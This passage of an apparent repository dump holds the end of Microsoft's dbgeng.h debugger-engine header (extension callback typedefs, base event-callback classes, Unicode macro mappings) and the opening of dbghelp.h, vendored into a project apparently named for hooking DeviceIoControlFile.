indicate that it was unable to handle the request\n// and that the search for an extension function should\n// continue down the extension DLL chain.\n// Taken from STATUS_VALIDATE_CONTINUE.\n#define DEBUG_EXTENSION_CONTINUE_SEARCH \\\n HRESULT_FROM_NT(0xC0000271L)\n\n// A PDEBUG_EXTENSION_CALL function can return this code\n// to indicate that the engine should unload and reload\n// the extension binary. This allows extensions to implement\n// auto-update functionality.\n#define DEBUG_EXTENSION_RELOAD_EXTENSION \\\n HRESULT_FROM_NT(0xC00000EEL)\n\n// Every routine in an extension DLL has the following prototype.\n// The extension may be called from multiple clients so it\n// should not cache the client value between calls.\ntypedef HRESULT (CALLBACK* PDEBUG_EXTENSION_CALL)\n (__in PDEBUG_CLIENT Client, __in_opt PCSTR Args);\n\n//\n// KnownStructOutput[Ex] flags\n//\n\n// Return names of supported structs.\n#define DEBUG_KNOWN_STRUCT_GET_NAMES 1\n// Return value output for type.\n#define DEBUG_KNOWN_STRUCT_GET_SINGLE_LINE_OUTPUT 2\n// Return S_OK if suppressing type name.\n#define DEBUG_KNOWN_STRUCT_SUPPRESS_TYPE_NAME 3\n\n// Extensions may export this callback in order to dump structs that\n// are well known to them. The engine calls this to inject extension\n// output into dt's struct dump.\ntypedef HRESULT (CALLBACK* PDEBUG_EXTENSION_KNOWN_STRUCT)\n (__in ULONG Flags,\n __in ULONG64 Offset,\n __in_opt PSTR TypeName,\n __out_ecount_opt(*BufferChars) PSTR Buffer,\n __inout_opt PULONG BufferChars);\ntypedef HRESULT (CALLBACK* PDEBUG_EXTENSION_KNOWN_STRUCT_EX)\n (__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __in ULONG64 Offset,\n __in_opt PCSTR TypeName,\n __out_ecount_opt(*BufferChars) PSTR Buffer,\n __inout_opt PULONG BufferChars);\n\n// Backwards compatibility with old, incorrect name.\ntypedef PDEBUG_EXTENSION_KNOWN_STRUCT PDEBUG_ENTENSION_KNOWNSTRUCT;\n\n//\n// Extensions can provide pseudo-register values that\n// operate similiarly to the debugger's built-in $teb, etc.\n//\n\n#define DEBUG_EXT_QVALUE_DEFAULT 0x00000000\n\ntypedef HRESULT (CALLBACK* PDEBUG_EXTENSION_QUERY_VALUE_NAMES)\n (__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __out_ecount(BufferChars) PWSTR Buffer,\n __in ULONG BufferChars,\n __out PULONG BufferNeeded);\n\n#define DEBUG_EXT_PVALUE_DEFAULT 0x00000000\n\n#define DEBUG_EXT_PVTYPE_IS_VALUE 0x00000000\n#define DEBUG_EXT_PVTYPE_IS_POINTER 0x00000001\n\ntypedef HRESULT (CALLBACK* PDEBUG_EXTENSION_PROVIDE_VALUE)\n (__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __in PCWSTR Name,\n __out PULONG64 Value,\n __out PULONG64 TypeModBase,\n __out PULONG TypeId,\n __out PULONG TypeFlags);\n\n//----------------------------------------------------------------------------\n//\n// Extension functions.\n//\n// Extension functions differ from extension callbacks in that\n// they are arbitrary functions exported from an extension DLL\n// for other code callers instead of for human invocation from\n// debugger commands. Extension function pointers are retrieved\n// for an extension DLL with IDebugControl::GetExtensionFunction.\n//\n// Extension function names must begin with _EFN_. Other than that\n// they can have any name and prototype. Extension functions\n// must be public exports of their extension DLL. They should\n// have a typedef for their function pointer prototype in an\n// extension header so that callers have a header file to include\n// with a type that allows a correctly-formed invocation of the\n// extension function.\n//\n// The engine does not perform any validation of calls to\n// extension functions. Once the extension function pointer\n// is retrieved with GetExtensionFunction all calls go\n// directly between the caller and the extension function and\n// are not mediated by the engine.\n//\n//----------------------------------------------------------------------------\n\n#ifdef __cplusplus\n};\n\n//----------------------------------------------------------------------------\n//\n// C++ implementation helper classes.\n//\n//----------------------------------------------------------------------------\n\n#if !defined(DEBUG_NO_IMPLEMENTATION) && !defined(_M_CEE_PURE)\n\n//\n// DebugBaseEventCallbacks provides a do-nothing base implementation\n// of IDebugEventCallbacks. A program can derive their own\n// event callbacks class from DebugBaseEventCallbacks and implement\n// only the methods they are interested in. Programs must be\n// careful to implement GetInterestMask appropriately.\n//\nclass DebugBaseEventCallbacks : public IDebugEventCallbacks\n{\npublic:\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n )\n {\n *Interface = NULL;\n\n#if _MSC_VER >= 1100\n if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) ||\n IsEqualIID(InterfaceId, __uuidof(IDebugEventCallbacks)))\n#else\n if (IsEqualIID(InterfaceId, IID_IUnknown) ||\n IsEqualIID(InterfaceId, IID_IDebugEventCallbacks))\n#endif\n {\n *Interface = (IDebugEventCallbacks *)this;\n AddRef();\n return S_OK;\n }\n else\n {\n return E_NOINTERFACE;\n }\n }\n\n // IDebugEventCallbacks.\n\n STDMETHOD(Breakpoint)(\n THIS_\n __in PDEBUG_BREAKPOINT Bp\n )\n {\n UNREFERENCED_PARAMETER(Bp);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(Exception)(\n THIS_\n __in PEXCEPTION_RECORD64 Exception,\n __in ULONG FirstChance\n )\n {\n UNREFERENCED_PARAMETER(Exception);\n UNREFERENCED_PARAMETER(FirstChance);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(CreateThread)(\n THIS_\n __in ULONG64 Handle,\n __in ULONG64 DataOffset,\n __in ULONG64 StartOffset\n )\n {\n UNREFERENCED_PARAMETER(Handle);\n UNREFERENCED_PARAMETER(DataOffset);\n UNREFERENCED_PARAMETER(StartOffset);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(ExitThread)(\n THIS_\n __in ULONG ExitCode\n )\n {\n UNREFERENCED_PARAMETER(ExitCode);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(CreateProcess)(\n THIS_\n __in ULONG64 ImageFileHandle,\n __in ULONG64 Handle,\n __in ULONG64 BaseOffset,\n __in ULONG ModuleSize,\n __in PCSTR ModuleName,\n __in PCSTR ImageName,\n __in ULONG CheckSum,\n __in ULONG TimeDateStamp,\n __in ULONG64 InitialThreadHandle,\n __in ULONG64 ThreadDataOffset,\n __in ULONG64 StartOffset\n )\n {\n UNREFERENCED_PARAMETER(ImageFileHandle);\n UNREFERENCED_PARAMETER(Handle);\n UNREFERENCED_PARAMETER(BaseOffset);\n UNREFERENCED_PARAMETER(ModuleSize);\n UNREFERENCED_PARAMETER(ModuleName);\n UNREFERENCED_PARAMETER(ImageName);\n UNREFERENCED_PARAMETER(CheckSum);\n UNREFERENCED_PARAMETER(TimeDateStamp);\n UNREFERENCED_PARAMETER(InitialThreadHandle);\n UNREFERENCED_PARAMETER(ThreadDataOffset);\n UNREFERENCED_PARAMETER(StartOffset);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(ExitProcess)(\n THIS_\n __in ULONG ExitCode\n )\n {\n UNREFERENCED_PARAMETER(ExitCode);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(LoadModule)(\n THIS_\n __in ULONG64 ImageFileHandle,\n __in ULONG64 BaseOffset,\n __in ULONG ModuleSize,\n __in PCSTR ModuleName,\n __in PCSTR ImageName,\n __in ULONG CheckSum,\n __in ULONG TimeDateStamp\n )\n {\n UNREFERENCED_PARAMETER(ImageFileHandle);\n UNREFERENCED_PARAMETER(BaseOffset);\n UNREFERENCED_PARAMETER(ModuleSize);\n UNREFERENCED_PARAMETER(ModuleName);\n UNREFERENCED_PARAMETER(ImageName);\n UNREFERENCED_PARAMETER(CheckSum);\n UNREFERENCED_PARAMETER(TimeDateStamp);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(UnloadModule)(\n THIS_\n __in PCSTR ImageBaseName,\n __in ULONG64 BaseOffset\n )\n {\n UNREFERENCED_PARAMETER(ImageBaseName);\n UNREFERENCED_PARAMETER(BaseOffset);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(SystemError)(\n THIS_\n __in ULONG Error,\n __in ULONG Level\n )\n {\n UNREFERENCED_PARAMETER(Error);\n UNREFERENCED_PARAMETER(Level);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(SessionStatus)(\n THIS_\n __in ULONG Status\n )\n {\n UNREFERENCED_PARAMETER(Status);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(ChangeDebuggeeState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n )\n {\n UNREFERENCED_PARAMETER(Flags);\n UNREFERENCED_PARAMETER(Argument);\n return S_OK;\n }\n STDMETHOD(ChangeEngineState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n )\n {\n UNREFERENCED_PARAMETER(Flags);\n UNREFERENCED_PARAMETER(Argument);\n return S_OK;\n }\n STDMETHOD(ChangeSymbolState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n )\n {\n UNREFERENCED_PARAMETER(Flags);\n UNREFERENCED_PARAMETER(Argument);\n return S_OK;\n }\n};\n\nclass DebugBaseEventCallbacksWide : public IDebugEventCallbacksWide\n{\npublic:\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n )\n {\n *Interface = NULL;\n\n#if _MSC_VER >= 1100\n if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) ||\n IsEqualIID(InterfaceId, __uuidof(IDebugEventCallbacksWide)))\n#else\n if (IsEqualIID(InterfaceId, IID_IUnknown) ||\n IsEqualIID(InterfaceId, IID_IDebugEventCallbacksWide))\n#endif\n {\n *Interface = (IDebugEventCallbacksWide *)this;\n AddRef();\n return S_OK;\n }\n else\n {\n return E_NOINTERFACE;\n }\n }\n\n // IDebugEventCallbacksWide.\n\n STDMETHOD(Breakpoint)(\n THIS_\n __in PDEBUG_BREAKPOINT2 Bp\n )\n {\n UNREFERENCED_PARAMETER(Bp);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(Exception)(\n THIS_\n __in PEXCEPTION_RECORD64 Exception,\n __in ULONG FirstChance\n )\n {\n UNREFERENCED_PARAMETER(Exception);\n UNREFERENCED_PARAMETER(FirstChance);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(CreateThread)(\n THIS_\n __in ULONG64 Handle,\n __in ULONG64 DataOffset,\n __in ULONG64 StartOffset\n )\n {\n UNREFERENCED_PARAMETER(Handle);\n UNREFERENCED_PARAMETER(DataOffset);\n UNREFERENCED_PARAMETER(StartOffset);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(ExitThread)(\n THIS_\n __in ULONG ExitCode\n )\n {\n UNREFERENCED_PARAMETER(ExitCode);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(CreateProcess)(\n THIS_\n __in ULONG64 ImageFileHandle,\n __in ULONG64 Handle,\n __in ULONG64 BaseOffset,\n __in ULONG ModuleSize,\n __in PCWSTR ModuleName,\n __in PCWSTR ImageName,\n __in ULONG CheckSum,\n __in ULONG TimeDateStamp,\n __in ULONG64 InitialThreadHandle,\n __in ULONG64 ThreadDataOffset,\n __in ULONG64 StartOffset\n )\n {\n UNREFERENCED_PARAMETER(ImageFileHandle);\n UNREFERENCED_PARAMETER(Handle);\n UNREFERENCED_PARAMETER(BaseOffset);\n UNREFERENCED_PARAMETER(ModuleSize);\n UNREFERENCED_PARAMETER(ModuleName);\n UNREFERENCED_PARAMETER(ImageName);\n UNREFERENCED_PARAMETER(CheckSum);\n UNREFERENCED_PARAMETER(TimeDateStamp);\n UNREFERENCED_PARAMETER(InitialThreadHandle);\n UNREFERENCED_PARAMETER(ThreadDataOffset);\n UNREFERENCED_PARAMETER(StartOffset);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(ExitProcess)(\n THIS_\n __in ULONG ExitCode\n )\n {\n UNREFERENCED_PARAMETER(ExitCode);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(LoadModule)(\n THIS_\n __in ULONG64 ImageFileHandle,\n __in ULONG64 BaseOffset,\n __in ULONG ModuleSize,\n __in PCWSTR ModuleName,\n __in PCWSTR ImageName,\n __in ULONG CheckSum,\n __in ULONG TimeDateStamp\n )\n {\n UNREFERENCED_PARAMETER(ImageFileHandle);\n UNREFERENCED_PARAMETER(BaseOffset);\n UNREFERENCED_PARAMETER(ModuleSize);\n UNREFERENCED_PARAMETER(ModuleName);\n UNREFERENCED_PARAMETER(ImageName);\n UNREFERENCED_PARAMETER(CheckSum);\n UNREFERENCED_PARAMETER(TimeDateStamp);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(UnloadModule)(\n THIS_\n __in PCWSTR ImageBaseName,\n __in ULONG64 BaseOffset\n )\n {\n UNREFERENCED_PARAMETER(ImageBaseName);\n UNREFERENCED_PARAMETER(BaseOffset);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(SystemError)(\n THIS_\n __in ULONG Error,\n __in ULONG Level\n )\n {\n UNREFERENCED_PARAMETER(Error);\n UNREFERENCED_PARAMETER(Level);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(SessionStatus)(\n THIS_\n __in ULONG Status\n )\n {\n UNREFERENCED_PARAMETER(Status);\n return DEBUG_STATUS_NO_CHANGE;\n }\n STDMETHOD(ChangeDebuggeeState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n )\n {\n UNREFERENCED_PARAMETER(Flags);\n UNREFERENCED_PARAMETER(Argument);\n return S_OK;\n }\n STDMETHOD(ChangeEngineState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n )\n {\n UNREFERENCED_PARAMETER(Flags);\n UNREFERENCED_PARAMETER(Argument);\n return S_OK;\n }\n STDMETHOD(ChangeSymbolState)(\n THIS_\n __in ULONG Flags,\n __in ULONG64 Argument\n )\n {\n UNREFERENCED_PARAMETER(Flags);\n UNREFERENCED_PARAMETER(Argument);\n return S_OK;\n }\n};\n\n#endif // #ifndef DEBUG_NO_IMPLEMENTATION\n\n#ifdef DEBUG_UNICODE_MACROS\n\n#ifdef UNICODE\n\n#define IDebugEventCallbacksT IDebugEventCallbacksWide\n#define IID_IDebugEventCallbacksT IID_IDebugEventCallbacksWide\n#define IDebugOutputCallbacksT IDebugOutputCallbacksWide\n#define IID_IDebugOutputCallbacksT IID_IDebugOutputCallbacksWide\n#define DebugBaseEventCallbacksT DebugBaseEventCallbacksWide\n\n#define DebugConnectT DebugConnectWide\n#define GetSourceFileInformationT GetSourceFileInformationWide\n#define FindSourceFileAndTokenT FindSourceFileAndTokenWide\n#define GetSymbolInformationT GetSymbolInformationWide\n#define GetCommandT GetCommandWide\n#define SetCommandT SetCommandWide\n#define GetOffsetExpressionT GetOffsetExpressionWide\n#define SetOffsetExpressionT SetOffsetExpressionWide\n#define GetRunningProcessSystemIdByExecutableNameT GetRunningProcessSystemIdByExecutableNameWide\n#define GetRunningProcessDescriptionT GetRunningProcessDescriptionWide\n#define CreateProcessT CreateProcessWide\n#define CreateProcessAndAttachT CreateProcessAndAttachWide\n#define AddDumpInformationFileT AddDumpInformationFileWide\n#define GetDumpFileT GetDumpFileWide\n#define AttachKernelT AttachKernelWide\n#define GetKernelConnectionOptionsT GetKernelConnectionOptionsWide\n#define SetKernelConnectionOptionsT SetKernelConnectionOptionsWide\n#define StartProcessServerT StartProcessServerWide\n#define ConnectProcessServerT ConnectProcessServerWide\n#define StartServerT StartServerWide\n#define OutputServersT OutputServersWide\n#define GetOutputCallbacksT GetOutputCallbacksWide\n#define SetOutputCallbacksT SetOutputCallbacksWide\n#define GetOutputLinePrefixT GetOutputLinePrefixWide\n#define SetOutputLinePrefixT SetOutputLinePrefixWide\n#define GetIdentityT GetIdentityWide\n#define OutputIdentityT OutputIdentityWide\n#define GetEventCallbacksT GetEventCallbacksWide\n#define SetEventCallbacksT SetEventCallbacksWide\n#define CreateProcess2T CreateProcess2Wide\n#define CreateProcessAndAttach2T CreateProcessAndAttach2Wide\n#define PushOutputLinePrefixT PushOutputLinePrefixWide\n#define GetQuitLockStringT GetQuitLockStringWide\n#define SetQuitLockStringT SetQuitLockStringWide\n#define GetLogFileT GetLogFileWide\n#define OpenLogFileT OpenLogFileWide\n#define InputT InputWide\n#define ReturnInputT ReturnInputWide\n#define OutputT OutputWide\n#define OutputVaListT OutputVaListWide\n#define ControlledOutputT ControlledOutputWide\n#define ControlledOutputVaListT ControlledOutputVaListWide\n#define OutputPromptT OutputPromptWide\n#define OutputPromptVaListT OutputPromptVaListWide\n#define GetPromptTextT GetPromptTextWide\n#define AssembleT AssembleWide\n#define DisassembleT DisassembleWide\n#define GetProcessorTypeNamesT GetProcessorTypeNamesWide\n#define GetTextMacroT GetTextMacroWide\n#define SetTextMacroT SetTextMacroWide\n#define EvaluateT EvaluateWide\n#define ExecuteT ExecuteWide\n#define ExecuteCommandFileT ExecuteCommandFileWide\n#define AddExtensionT AddExtensionWide\n#define GetExtensionByPathT GetExtensionByPathWide\n#define CallExtensionT CallExtensionWide\n#define GetExtensionFunctionT GetExtensionFunctionWide\n#define GetEventFilterTextT GetEventFilterTextWide\n#define GetEventFilterCommandT GetEventFilterCommandWide\n#define SetEventFilterCommandT SetEventFilterCommandWide\n#define GetSpecificFilterArgumentT GetSpecificFilterArgumentWide\n#define SetSpecificFilterArgumentT SetSpecificFilterArgumentWide\n#define GetExceptionFilterSecondCommandT GetExceptionFilterSecondCommandWide\n#define SetExceptionFilterSecondCommandT SetExceptionFilterSecondCommandWide\n#define GetLastEventInformationT GetLastEventInformationWide\n#define GetTextReplacementT GetTextReplacementWide\n#define SetTextReplacementT SetTextReplacementWide\n#define SetExpressionSyntaxByNameT SetExpressionSyntaxByNameWide\n#define GetExpressionSyntaxNamesT GetExpressionSyntaxNamesWide\n#define GetEventIndexDescriptionT GetEventIndexDescriptionWide\n#define GetLogFile2T GetLogFile2Wide\n#define OpenLogFile2T OpenLogFile2Wide\n#define GetSystemVersionStringT GetSystemVersionStringWide\n#define ReadMultiByteStringVirtualT ReadMultiByteStringVirtualWide\n#define ReadUnicodeStringVirtualT ReadUnicodeStringVirtualWide\n#define GetDescriptionT GetDescriptionWide\n#define GetIndexByNameT GetIndexByNameWide\n#define GetPseudoDescriptionT GetPseudoDescriptionWide\n#define GetPseudoIndexByNameT GetPseudoIndexByNameWide\n#define AddSymbolT AddSymbolWide\n#define RemoveSymbolByNameT RemoveSymbolByNameWide\n#define GetSymbolNameT GetSymbolNameWide\n#define WriteSymbolT WriteSymbolWide\n#define OutputAsTypeT OutputAsTypeWide\n#define GetSymbolTypeNameT GetSymbolTypeNameWide\n#define GetSymbolValueTextT GetSymbolValueTextWide\n#define GetNameByOffsetT GetNameByOffsetWide\n#define GetOffsetByNameT GetOffsetByNameWide\n#define GetNearNameByOffsetT GetNearNameByOffsetWide\n#define GetLineByOffsetT GetLineByOffsetWide\n#define GetOffsetByLineT GetOffsetByLineWide\n#define GetModuleByModuleNameT GetModuleByModuleNameWide\n#define GetModuleByModuleName2T GetModuleByModuleName2Wide\n#define GetSymbolModuleT GetSymbolModuleWide\n#define GetTypeNameT GetTypeNameWide\n#define GetTypeIdT GetTypeIdWide\n#define GetFieldOffsetT GetFieldOffsetWide\n#define GetSymbolTypeIdT GetSymbolTypeIdWide\n#define StartSymbolMatchT StartSymbolMatchWide\n#define GetNextSymbolMatchT GetNextSymbolMatchWide\n#define ReloadT ReloadWide\n#define GetSymbolPathT GetSymbolPathWide\n#define SetSymbolPathT SetSymbolPathWide\n#define AppendSymbolPathT AppendSymbolPathWide\n#define GetImagePathT GetImagePathWide\n#define SetImagePathT SetImagePathWide\n#define AppendImagePathT AppendImagePathWide\n#define GetSourcePathT GetSourcePathWide\n#define GetSourcePathElementT GetSourcePathElementWide\n#define SetSourcePathT SetSourcePathWide\n#define AppendSourcePathT AppendSourcePathWide\n#define FindSourceFileT FindSourceFileWide\n#define GetSourceFileLineOffsetsT GetSourceFileLineOffsetsWide\n#define GetModuleVersionInformationT GetModuleVersionInformationWide\n#define GetModuleNameStringT GetModuleNameStringWide\n#define GetConstantNameT GetConstantNameWide\n#define GetFieldNameT GetFieldNameWide\n#define GetFieldTypeAndOffsetT GetFieldTypeAndOffsetWide\n#define GetSymbolEntriesByNameT GetSymbolEntriesByNameWide\n#define GetSymbolEntryStringT GetSymbolEntryStringWide\n#define GetSourceEntriesByLineT GetSourceEntriesByLineWide\n#define GetSourceEntryStringT GetSourceEntryStringWide\n#define GetCurrentProcessExecutableNameT GetCurrentProcessExecutableNameWide\n#define GetCurrentSystemServerNameT GetCurrentSystemServerNameWide\n\n#else // #ifdef UNICODE\n\n#define IDebugEventCallbacksT IDebugEventCallbacks\n#define IID_IDebugEventCallbacksT IID_IDebugEventCallbacks\n#define IDebugOutputCallbacksT IDebugOutputCallbacks\n#define IID_IDebugOutputCallbacksT IID_IDebugOutputCallbacks\n#define DebugBaseEventCallbacksT DebugBaseEventCallbacks\n\n#define DebugConnectT DebugConnect\n#define GetSourceFileInformationT GetSourceFileInformation\n#define FindSourceFileAndTokenT FindSourceFileAndToken\n#define GetSymbolInformationT GetSymbolInformation\n#define GetCommandT GetCommand\n#define SetCommandT SetCommand\n#define GetOffsetExpressionT GetOffsetExpression\n#define SetOffsetExpressionT SetOffsetExpression\n#define GetRunningProcessSystemIdByExecutableNameT GetRunningProcessSystemIdByExecutableName\n#define GetRunningProcessDescriptionT GetRunningProcessDescription\n#define CreateProcessT CreateProcess\n#define CreateProcessAndAttachT CreateProcessAndAttach\n#define AddDumpInformationFileT AddDumpInformationFile\n#define GetDumpFileT GetDumpFile\n#define AttachKernelT AttachKernel\n#define GetKernelConnectionOptionsT GetKernelConnectionOptions\n#define SetKernelConnectionOptionsT SetKernelConnectionOptions\n#define StartProcessServerT StartProcessServer\n#define ConnectProcessServerT ConnectProcessServer\n#define StartServerT StartServer\n#define OutputServersT OutputServers\n#define GetOutputCallbacksT GetOutputCallbacks\n#define SetOutputCallbacksT SetOutputCallbacks\n#define GetOutputLinePrefixT GetOutputLinePrefix\n#define SetOutputLinePrefixT SetOutputLinePrefix\n#define GetIdentityT GetIdentity\n#define OutputIdentityT OutputIdentity\n#define GetEventCallbacksT GetEventCallbacks\n#define SetEventCallbacksT SetEventCallbacks\n#define CreateProcess2T CreateProcess2\n#define CreateProcessAndAttach2T CreateProcessAndAttach2\n#define PushOutputLinePrefixT PushOutputLinePrefix\n#define GetQuitLockStringT GetQuitLockString\n#define SetQuitLockStringT SetQuitLockString\n#define GetLogFileT GetLogFile\n#define OpenLogFileT OpenLogFile\n#define InputT Input\n#define ReturnInputT ReturnInput\n#define OutputT Output\n#define OutputVaListT OutputVaList\n#define ControlledOutputT ControlledOutput\n#define ControlledOutputVaListT ControlledOutputVaList\n#define OutputPromptT OutputPrompt\n#define OutputPromptVaListT OutputPromptVaList\n#define GetPromptTextT GetPromptText\n#define AssembleT Assemble\n#define DisassembleT Disassemble\n#define GetProcessorTypeNamesT GetProcessorTypeNames\n#define GetTextMacroT GetTextMacro\n#define SetTextMacroT SetTextMacro\n#define EvaluateT Evaluate\n#define ExecuteT Execute\n#define ExecuteCommandFileT ExecuteCommandFile\n#define AddExtensionT AddExtension\n#define GetExtensionByPathT GetExtensionByPath\n#define CallExtensionT CallExtension\n#define GetExtensionFunctionT GetExtensionFunction\n#define GetEventFilterTextT GetEventFilterText\n#define GetEventFilterCommandT GetEventFilterCommand\n#define SetEventFilterCommandT SetEventFilterCommand\n#define GetSpecificFilterArgumentT GetSpecificFilterArgument\n#define SetSpecificFilterArgumentT SetSpecificFilterArgument\n#define GetExceptionFilterSecondCommandT GetExceptionFilterSecondCommand\n#define SetExceptionFilterSecondCommandT SetExceptionFilterSecondCommand\n#define GetLastEventInformationT GetLastEventInformation\n#define GetTextReplacementT GetTextReplacement\n#define SetTextReplacementT SetTextReplacement\n#define SetExpressionSyntaxByNameT SetExpressionSyntaxByName\n#define GetExpressionSyntaxNamesT GetExpressionSyntaxNames\n#define GetEventIndexDescriptionT GetEventIndexDescription\n#define GetLogFile2T GetLogFile2\n#define OpenLogFile2T OpenLogFile2\n#define GetSystemVersionStringT GetSystemVersionString\n#define ReadMultiByteStringVirtualT ReadMultiByteStringVirtual\n#define ReadUnicodeStringVirtualT ReadUnicodeStringVirtual\n#define GetDescriptionT GetDescription\n#define GetIndexByNameT GetIndexByName\n#define GetPseudoDescriptionT GetPseudoDescription\n#define GetPseudoIndexByNameT GetPseudoIndexByName\n#define AddSymbolT AddSymbol\n#define RemoveSymbolByNameT RemoveSymbolByName\n#define GetSymbolNameT GetSymbolName\n#define WriteSymbolT WriteSymbol\n#define OutputAsTypeT OutputAsType\n#define GetSymbolTypeNameT GetSymbolTypeName\n#define GetSymbolValueTextT GetSymbolValueText\n#define GetNameByOffsetT GetNameByOffset\n#define GetOffsetByNameT GetOffsetByName\n#define GetNearNameByOffsetT GetNearNameByOffset\n#define GetLineByOffsetT GetLineByOffset\n#define GetOffsetByLineT GetOffsetByLine\n#define GetModuleByModuleNameT GetModuleByModuleName\n#define GetModuleByModuleName2T GetModuleByModuleName2\n#define GetSymbolModuleT GetSymbolModule\n#define GetTypeNameT GetTypeName\n#define GetTypeIdT GetTypeId\n#define GetFieldOffsetT GetFieldOffset\n#define GetSymbolTypeIdT GetSymbolTypeId\n#define StartSymbolMatchT StartSymbolMatch\n#define GetNextSymbolMatchT GetNextSymbolMatch\n#define ReloadT Reload\n#define GetSymbolPathT GetSymbolPath\n#define SetSymbolPathT SetSymbolPath\n#define AppendSymbolPathT AppendSymbolPath\n#define GetImagePathT GetImagePath\n#define SetImagePathT SetImagePath\n#define AppendImagePathT AppendImagePath\n#define GetSourcePathT GetSourcePath\n#define GetSourcePathElementT GetSourcePathElement\n#define SetSourcePathT SetSourcePath\n#define AppendSourcePathT AppendSourcePath\n#define FindSourceFileT FindSourceFile\n#define GetSourceFileLineOffsetsT GetSourceFileLineOffsets\n#define GetModuleVersionInformationT GetModuleVersionInformation\n#define GetModuleNameStringT GetModuleNameString\n#define GetConstantNameT GetConstantName\n#define GetFieldNameT GetFieldName\n#define GetFieldTypeAndOffsetT GetFieldTypeAndOffset\n#define GetSymbolEntriesByNameT GetSymbolEntriesByName\n#define GetSymbolEntryStringT GetSymbolEntryString\n#define GetSourceEntriesByLineT GetSourceEntriesByLine\n#define GetSourceEntryStringT GetSourceEntryString\n#define GetCurrentProcessExecutableNameT GetCurrentProcessExecutableName\n#define GetCurrentSystemServerNameT GetCurrentSystemServerName\n\n#endif // #ifdef UNICODE\n\n#endif // #ifdef DEBUG_UNICODE_MACROS\n\n#endif // #ifdef __cplusplus\n\n#endif // #ifndef __DBGENG_H__\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbghelp.h", "content": "/*++ BUILD Version: 0000 Increment this if a change has global effects\n\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nModule Name:\n\n dbghelp.h\n\nAbstract:\n\n This module defines the prototypes and constants required for the image\n help routines.\n\n Contains debugging support routines that are redistributable.\n\nRevision History:\n\n--*/\n\n#ifndef _DBGHELP_\n#define _DBGHELP_\n\n#if _MSC_VER > 1020\n#pragma once\n#endif\n\n\n// As a general principal always call the 64 bit version\n// of every API, if a choice exists. The 64 bit version\n// works great on 32 bit platforms, and is forward\n// compatible to 64 bit platforms.\n\n#ifdef _WIN64\n#ifndef _IMAGEHLP64\n#define _IMAGEHLP64\n#endif\n#endif\n\n#include \n\n// For those without specstrings.h\n// Since there are different versions of this header, I need to\n// individually test each item and define it if it is not around.\n\n#ifndef __in\n #define __in\n#endif\n#ifndef __out\n #define __out\n#endif\n#ifndef __inout\n #define __inout\n#endif\n#ifndef __in_opt\n #define __in_opt\n#endif\n#ifndef __out_opt\n #define __out_opt\n#endif\n#ifndef __inout_opt\n #define __inout_opt\n#endif\n#ifndef __in_ecount\n #define __in_ecount(x)\n#endif\n#ifndef __out_ecount\n #define __out_ecount(x)\n#endif\n#ifndef __inout_ecount\n #define __inout_ecount(x)\n#endif\n#ifndef __in_bcount\n #define __in_bcount(x)\n#endif\n#ifndef __out_bcount\n #define __out_bcount(x)\n#endif\n#ifndef __inout_bcount\n #define __inout_bcount(x)\n#endif\n#ifndef __out_xcount\n #define __out_xcount(x)\n#endif\n#ifndef __deref_opt_out\n #define __deref_opt_out\n#endif\n#ifndef __deref_out\n #define __deref_out\n#endif\n#ifndef __out_ecount_opt\n #define __out_ecount_opt(x)\n#endif\n#ifndef __in_bcount_opt\n #define __in_bcount_opt(x)\n#endif\n#ifndef __out_bcount_opt\n #define __out_bcount_opt(x)\n#endif\n#ifndef __deref_out_opt\n #define __deref_out_opt\n#endif\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef _IMAGEHLP_SOURCE_\n #define IMAGEAPI __stdcall\n #define DBHLP_DEPRECIATED\n#else\n #define IMAGEAPI DECLSPEC_IMPORT __stdcall\n #if (_MSC_VER >= 1300) && !defined(MIDL_PASS)\n #define DBHLP_DEPRECIATED __declspec(deprecated)\n #else\n #define DBHLP_DEPRECIATED\n #endif\n#endif\n\n#define DBHLPAPI IMAGEAPI\n\n#define IMAGE_SEPARATION (64*1024)\n\n// Observant readers may notice that 2 new fields,\n// 'fReadOnly' and 'Version' have been added to\n// the LOADED_IMAGE structure after 'fDOSImage'.\n// This does not change the size of the structure \n// from previous headers. That is because while \n// 'fDOSImage' is a byte, it is padded by the \n// compiler to 4 bytes. So the 2 new fields are \n// slipped into the extra space.\n\ntypedef struct _LOADED_IMAGE {\n PSTR ModuleName;\n 